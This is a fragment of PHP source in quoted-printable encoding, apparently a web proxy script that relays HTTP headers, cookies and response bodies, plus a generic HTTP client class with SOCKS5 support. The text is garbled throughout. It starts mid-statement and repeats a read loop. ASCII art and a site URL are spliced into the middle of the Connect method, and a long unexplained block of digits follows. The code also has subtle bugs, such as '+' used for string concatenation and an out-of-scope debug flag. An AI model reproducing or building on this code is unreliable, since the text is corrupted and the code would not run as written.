     $error=3D$http->ReadReplyBody($body,1000);
     if($error!=3D"" || strlen($body)=3D=3D0)
       break;
     echo $body;
     flush();
   }
 }
l)) {
             logToFile("reply.txt", $hname.": ".$val);
             if($header_name =3D=3D "set-cookie") {
                 header($hname.": ".$val, false);
             } else {
               header($hname.": ".$val, true);
             }
           } else {
             if($header_name =3D=3D 'content-length') {
               header("$hname: 0", true);
               logToFile("reply.txt", "$hname: 0");
             } else {
               logToFile("reply.txt", $header_name);
               header($header_name, true);
             }
           }
         }
       }
     } /*else {
       if($header_name !=3D 'transfer-encoding' && $header_name !=3D 'x-
powered-by' && $header_name !=3D 'connection' && $header_name !=3D 'keep-
alive') {
         if(!empty($headers[$header_name])) {
           logToFile("reply.txt", $header_name.": ".$headers
[$header_name]);
           header($header_name.": ".$headers[$header_name], true);
         } else {
           logToFile("reply.txt", $header_name);
           header($header_name, true);
         }
       }
     }*/
   }
   logToFile("reply.txt", "-----------------");
   for(;;) {
     $error=3D$http->ReadReplyBody($body,1000);
     if($error!=3D"" || strlen($body)=3D=3D0)
       break;
     echo $body;
     flush();
   }
 }

 /*$http->SaveCookies($site_cookies);
 if(!empty($site_cookies)) {
   @file_put_contents("cook.dat", serialize($site_cookies));
 }*/
 $http->Close();
}
if(strlen($error))
 echo "<CENTER><H2>Error: ",$error,"</H2><CENTER>\n";
exit(0);
#####################################################
function cookieEncode($str) {
 return str_replace(array(' ',
                          "\t",
                          ';',
                          ','),
                    array('%20',
                          '%09',
                          '%3B',
                          '%2C'),
                    $str);
}
function cookieDecode($str) {
 return str_replace(array('%20',
                          '%09',
                          '%3B',
                          '%2C'),
                     array(' ',
                          "\t",
                          ';',
                          ','),
                    $str);
}
function cenc2() {
 $qs =3D "";
 if (@sizeof(array_values($_COOKIE)) > 0) {
   foreach ($_COOKIE as $key =3D> $val) {
     if (is_array($val) || is_object($val)) {
       $qs .=3D "$key=3D" . rawurlencode(serialize($val)) + "; ";
     } else {
       //if(preg_match("/\\;|\\=3D/", $val)) $val =3D rawurlencode($val);
       //$val =3D cenc($val, 0);
       $key =3D cookieEncode($key);
       $val =3D cookieEncode($val);
       $qs .=3D "$key=3D$val; ";
     }
   }
 }
 $qs =3D rtrim($qs, "; ");
 return $qs;
}
function set_post_vars($array, $parent_key =3D null) {
 $temp =3D array();
 foreach ($array as $key =3D> $value) {
   $key =3D isset($parent_key) ? sprintf('%s[%s]', $parent_key,
($key)) : ($key);
   if (is_array($value)) {
     $temp =3D array_merge($temp, set_post_vars($value, $key));
   } else {
     $temp[$key] =3D ($value);
   }
 }
 return $temp;
}
function logToFile($filename, $msg) {
 if(!$DEBUG) return;
 // open file
 $fd =3D fopen($filename, "a");
 // append date/time to message
 $str =3D "[" . date("Y/m/d h:i:s", mktime()) . "] " . $msg;
 // write string
 fwrite($fd, $str . "\n");
 // close file
 fclose($fd);
}
class http_class
{
 var $host_name=3D"";
 var $host_port=3D0;
 var $proxy_host_name=3D"";
 var $proxy_host_port=3D80;
 var $socks_host_name =3D '';
 var $socks_host_port =3D 1080;
 var $protocol=3D"http";
 var $request_method=3D"GET";
 var $user_agent=3D'httpclient';
 var $authentication_mechanism=3D"";
 var $user;
 var $password;
 var $realm;
 var $workstation;
 var $proxy_authentication_mechanism=3D"";
 var $proxy_user;
 var $proxy_password;
 var $proxy_realm;
 var $proxy_workstation;
 var $request_uri=3D"";
 var $request=3D"";
 var $request_headers=3Darray();
 var $request_user;
 var $request_password;
 var $request_realm;
 var $request_workstation;
 var $proxy_request_user;
 var $proxy_request_password;
 var $proxy_request_realm;
 var $proxy_request_workstation;
 var $request_body=3D"";
 var $request_arguments=3Darray();
 var $protocol_version=3D"1.1";
 var $timeout=3D0;
 var $data_timeout=3D0;
 var $debug=3D0;
 var $debug_response_body=3D1;
 var $html_debug=3D0;
 var $support_cookies=3D1;
 var $cookies=3Darray();
 var $error=3D"";
 var $exclude_address=3D"";
 var $follow_redirect=3D0;
 var $redirection_limit=3D5;
 var $response_status=3D"";
 var $response_message=3D"";
 var $file_buffer_length=3D8000;
 var $force_multipart_form_post=3D0;
 var $prefer_curl =3D 0;
 /* public variables - PLEASE ACCESS */
 var $state=3D"Disconnected";
 var $use_curl=3D0;
 var $connection=3D0;
 var $content_length=3D0;
 var $response=3D"";
 var $read_response=3D0;
 var $read_length=3D0;
 var $request_host=3D"";
 var $next_token=3D"";
 var $redirection_level=3D0;
 var $chunked=3D0;
 var $remaining_chunk=3D0;
 var $last_chunk_read=3D0;
 var $months=3Darray(
   "Jan"=3D>"01",
   "Feb"=3D>"02",
   "Mar"=3D>"03",
   "Apr"=3D>"04",
   "May"=3D>"05",
   "Jun"=3D>"06",
   "Jul"=3D>"07",
   "Aug"=3D>"08",
   "Sep"=3D>"09",
   "Oct"=3D>"10",
   "Nov"=3D>"11",
   "Dec"=3D>"12");
 var $session=3D'';
 var $connection_close=3D0;
 /* PUBLIC methods _ PLEASE CALL */
 Function Tokenize($string,$separator=3D"")
 {
   if(!strcmp($separator,""))
   {
     $separator=3D$string;
     $string=3D$this->next_token;
   }
   for($character=3D0;$character<strlen($separator);$character++)
   {
     if(GetType($position=3Dstrpos($string,$separator[$character]))
=3D=3D"integer")
       $found=3D(IsSet($found) ? min($found,$position) : $position);
   }
   if(IsSet($found))
   {
     $this->next_token=3Dsubstr($string,$found+1);
     return(substr($string,0,$found));
   }
   else
   {
     $this->next_token=3D"";
     return($string);
   }
 }

 Function CookieEncode($value, $name)
 {
   return($name ? str_replace("=3D", "%25", $value) : str_replace(";",
"%3B", $value));
 }
 Function SetError($error)
 {
   return($this->error=3D$error);
 }
 Function SetPHPError($error, &$php_error_message)
 {
   if(IsSet($php_error_message)
   && strlen($php_error_message))
     $error.=3D": ".$php_error_message;
   return($this->SetError($error));
 }
 Function SetDataAccessError($error,$check_connection=3D0)
 {
   $this->error=3D$error;
   if(!$this->use_curl
   && function_exists("socket_get_status"))
   {
     $status=3Dsocket_get_status($this->connection);
     if($status["timed_out"])
       $this->error.=3D": data access time out";
     elseif($status["eof"])
     {
       if($check_connection)
         $this->error=3D"";
       else
         $this->error.=3D": the server disconnected";
     }
   }
 }

 Function OutputDebug($message)
 {
   $message.=3D"\n";
   if($this->html_debug)
     $message=3Dstr_replace("\n","<br />\n",HtmlEntities($message));
   echo $message;
   flush();
 }
 Function GetLine()
 {
   for($line=3D"";;)
   {
     if($this->use_curl)
     {
       $eol=3Dstrpos($this->response,"\n",$this->read_response);
       $data=3D($eol ? substr($this->response,$this->read_response,$eol
+1-$this->read_response) : "");
       $this->read_response+=3Dstrlen($data);
     }
     else
     {
       if(feof($this->connection))
       {
         $this->SetDataAccessError("reached the end of data while
reading from the HTTP server connection");
         return(0);
       }
       $data=3Dfgets($this->connection,100);
     }
     if(GetType($data)!=3D"string"
     || strlen($data)=3D=3D0)
     {
       $this->SetDataAccessError("it was not possible to read line
from the HTTP server");
       return(0);
     }
     $line.=3D$data;
     $length=3Dstrlen($line);
     if($length
     && !strcmp(substr($line,$length-1,1),"\n"))
     {
       $length-=3D(($length>=3D2 && !strcmp(substr($line,
$length-2,1),"\r")) ? 2 : 1);
       $line=3Dsubstr($line,0,$length);
       if($this->debug)
         $this->OutputDebug("S $line");
       return($line);
     }
   }
 }
 Function PutLine($line)
 {
   if($this->debug)
     $this->OutputDebug("C $line");
   if(!fputs($this->connection,$line."\r\n"))
   {
     $this->SetDataAccessError("it was not possible to send a line to
the HTTP server");
     return(0);
   }
   return(1);
 }
 Function PutData(&$data)
 {
   if(strlen($data))
   {
     if($this->debug)
       $this->OutputDebug("C $data");
     if(!fputs($this->connection,$data))
     {
       $this->SetDataAccessError("it was not possible to send data to
the HTTP server");
       return(0);
     }
   }
   return(1);
 }
 Function FlushData()
 {
   if(!fflush($this->connection))
   {
     $this->SetDataAccessError("it was not possible to send data to
the HTTP server");
     return(0);
   }
   return(1);
 }
 Function ReadChunkSize()
 {
   if($this->remaining_chunk=3D=3D0)
   {
     $debug=3D$this->debug;
     if(!$this->debug_response_body)
       $this->debug=3D0;
     $line=3D$this->GetLine();
     $this->debug=3D$debug;
     if(GetType($line)!=3D"string")
       return($this->SetError("4 could not read chunk start: ".$this-
>error));
     $this->remaining_chunk=3Dhexdec($line);
   }
   return("");
 }
 Function ReadBytes($length)
 {
   if($this->use_curl)
   {
     $bytes=3Dsubstr($this->response,$this->read_response,min
($length,strlen($this->response)-$this->read_response));
     $this->read_response+=3Dstrlen($bytes);
     if($this->debug
     && $this->debug_response_body
     && strlen($bytes))
       $this->OutputDebug("S ".$bytes);
   }
   else
   {
     if($this->chunked)
     {
       for($bytes=3D"",$remaining=3D$length;$remaining;)
       {
         if(strlen($this->ReadChunkSize()))
           return("");
         if($this->remaining_chunk=3D=3D0)
         {
           $this->last_chunk_read=3D1;
           break;
         }
         $ask=3Dmin($this->remaining_chunk,$remaining);
         $chunk=3D@fread($this->connection,$ask);
         $read=3Dstrlen($chunk);
         if($read=3D=3D0)
         {
           $this->SetDataAccessError("it was not possible to read data
chunk from the HTTP server");
           return("");
         }
         if($this->debug
         && $this->debug_response_body)
           $this->OutputDebug("S ".$chunk);
         $bytes.=3D$chunk;
         $this->remaining_chunk-=3D$read;
         $remaining-=3D$read;
         if($this->remaining_chunk=3D=3D0)
         {
           if(feof($this->connection))
             return($this->SetError("reached the end of data while
reading the end of data chunk mark from the HTTP server"));
           $data=3D@fread($this->connection,2);
           if(strcmp($data,"\r\n"))
           {
             $this->SetDataAccessError("it was not possible to read
end of data chunk from the HTTP server");
             return("");
           }
         }
       }
     }
     else
     {
       $bytes=3D@fread($this->connection,$length);
       if(strlen($bytes))
       {
         if($this->debug
         && $this->debug_response_body)
           $this->OutputDebug("S ".$bytes);
       }
       else
         $this->SetDataAccessError("it was not possible to read data
from the HTTP server", $this->connection_close);
     }
   }
   return($bytes);
 }
\ Function EndOfInput()
 {
   if($this->use_curl)
     return($this->read_response>=3Dstrlen($this->response));
   if($this->chunked)
     return($this->last_chunk_read);
   return(feof($this->connection));
 }
 Function Resolve($domain, &$ip, $server_type)
 {
   if(ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',
$domain))
     $ip=3D$domain;
   else
   {
     if($this->debug)
       $this->OutputDebug('Resolving '.$server_type.' server domain "'.
$domain.'"...');
     if(!strcmp($ip=3D@gethostbyname($domain),$domain))
       $ip=3D"";
   }
   if(strlen($ip)=3D=3D0
   || (strlen($this->exclude_address)
   && !strcmp(@gethostbyname($this->exclude_address),$ip)))
     return($this->SetError("could not resolve the host domain \"".
$domain."\""));
   return('');
 }
 Function Connect($host_name, $host_port, $ssl, $server_type =3D 'HTTP')
 {
   $domain=3D$host_name;
   $port =3D $host_port;
   if(strlen($error =3D $this->Resolve($domain, $ip, $server_type)))
     return($error);
   if(strlen($this->socks_host_name))
   {
     $host_ip =3D $ip;
     $port =3D $this->socks_host_port;
     $host_server_type =3D $server_type;
     $server_type =3D 'SOCKS';
     if(strlen($error =3D $this->Resolve($this->socks_host_name, $ip,
$server_type)))
       return($error);
   }
   if($this->debug)
     $this->OutputDebug('Connecting to '.$server_type.' server IP '.
$ip.' port '.$port.'...');
   if($ssl)
     $ip=3D"ssl://".$ip;
   if(($this->connection=3D($this->timeout ? @fsockopen($ip, $port,
$errno, $error, $this->timeout) : @fsockopen($ip, $port, $errno)))=3D=3D0)
   {
     switch($errno)
     {
       case -3:
         return($this->SetError("-3 socket could not be created"));
       case -4:
         return($this->SetError("-4 dns lookup on hostname \"".
$host_name."\" failed"));
       case -5:
         return($this->SetError("-5 connection refused or timed
out"));
       case -6:
         return($this->SetError("-6 fdopen() call failed"));
       case -7:
         return($this->SetError("-7 setvbuf() call failed"));
       default:
         return($this->SetPHPError($errno." could not connect to the
host \"".$host_name."\"",$php_errormsg));
     }
   }
   else
   {
     if($this->data_timeout
     && function_exists("socket_set_timeout"))
       socket_set_timeout($this->connection,$this->data_timeout,0);
     if(strlen($this->socks_host_name))
     {
       if($this->debug)
       {
         $this->OutputDebug('Connected to the SOCKS server '.$this-
>socks_host_name);
         $this->OutputDebug('Negotiating the authentication
method ...');
       }
       $send_error =3D 'it was not possible to send data to the SOCKS
server';
       $receive_error =3D 'it was not possible to receive data from the
SOCKS server';
       $version =3D 5;
       $methods =3D 1;
       $method =3D 0;
       if(!fputs($this->connection, chr($version).chr($methods).chr
($method)))
         $error =3D $this->SetDataAccessError($send_error);
       else
       {
         $response =3D fgets($this->connection, 3);
         if(strlen($response) !=3D 2)
           $error =3D $this->SetDataAccessError($receive_error);
         elseif(Ord($response[1]) !=3D $method)
           $error =3D 'the SOCKS server requires an authentication
method that is not yet supported';
         else
         {
           if($this->debug)
             $this->OutputDebug('Connecting to '.$host_server_type.'
server IP '.$host_ip.' port '.$host_port.'...');
           $command =3D 1;
           $address_type =3D 1;
           if(!fputs($this->connection, chr($version).chr
($command)."\x00".chr($address_type).pack('Nn', ip2long($host_ip),
$host_port)))
             $error =3D $this->SetDataAccessError($send_error);
           else
           {
             $response =3D fgets($this->connection, 11);
             if(strlen($response) !=3D 10)
               $error =3D $this->SetDataAccessError($receive_error);
             else
             {
               $socks_errors =3D array(
                 "\x00"=3D>'',
                 "\x01"=3D>'general SOCKS server failure',
                 "\x02"=3D>'connection not allowed by ruleset',
                 "\x03"=3D>'Network unreachable',
                 "\x04"=3D>'Host unreachable',
                 "\x05"=3D>'Connection refused',
                 "\x06"=3D>'TTL expired',
                 "\x07"=3D>'Command not supported',
                 "\x08"=3D>'Address type not supported'
               );
               $error_code =3D $response[1];
               $error =3D (IsSet($socks_errors[$error_code]) ?
$socks_errors[$error_code] : 'unknown');
               if(strlen($error))
                 $error =3D 'SOCKS error: '.$error;
             }
           }
         }
       }
       if(strlen($error))
       {
         fclose($this->connection);                   \\\\\\\\////////
         return($error);                               \\ m e a m i//
       }                                                \\________//
     }                                                   \\______//
     if($this->debug)                                    [m][m][m]
       $this->OutputDebug("Connected to $host_name");       /\/\
     if(strlen($this->proxy_host_name)HTTP://MEAMI.ORG -WWW.//\\
     &&
s28360052796347811088734197636451643055151479529688054684069274257897004720=
850858
261454524626314295407328527828161602634309114908728940015024260470703909618=
78042
050543185617161512206623171666687187571015088086497469651253041124182615242=
81273
039605309279058165659249171865282187143949211107664407132620297194088032071=
24665
423421364823859495124812700539302812327697980757009082013373419355838222924=
62527
886475648991099749365023957716073464286183046031755555991074815089332958854=
43472
050962227680307758498255427296894768390122131670328516291545890266446654645=
38815
819869638308658130522264267245524647254310613108298557388861416372016686210=
81437
184772623705497729778276238106790846358299132903105216669167541176212602772=
42014
826840439460272074466334982209294097468335614090277084002700044529768244034=
73708
286398067601579561202048373222183601001590690856413501845438806613536662498=
79726
171452170737504998941217017416885769207888449433794725952915940500702768889=
13147
695466232210727847240833011601493840272336069521790743588855512453131446774=
37661
798246506262040015492812352486382117383148729274263034091378372626135836980=
85046
767793003619909785860550508939787283889878794994440032276990654977697349772=
85013
205018849822209520636324006280946502690084068393342022747979424136073779133=
40941
36213664547245653641044397844244125881497430514677750112651540416167936
[517433]




 

|THBPdf| |Download| |Developers|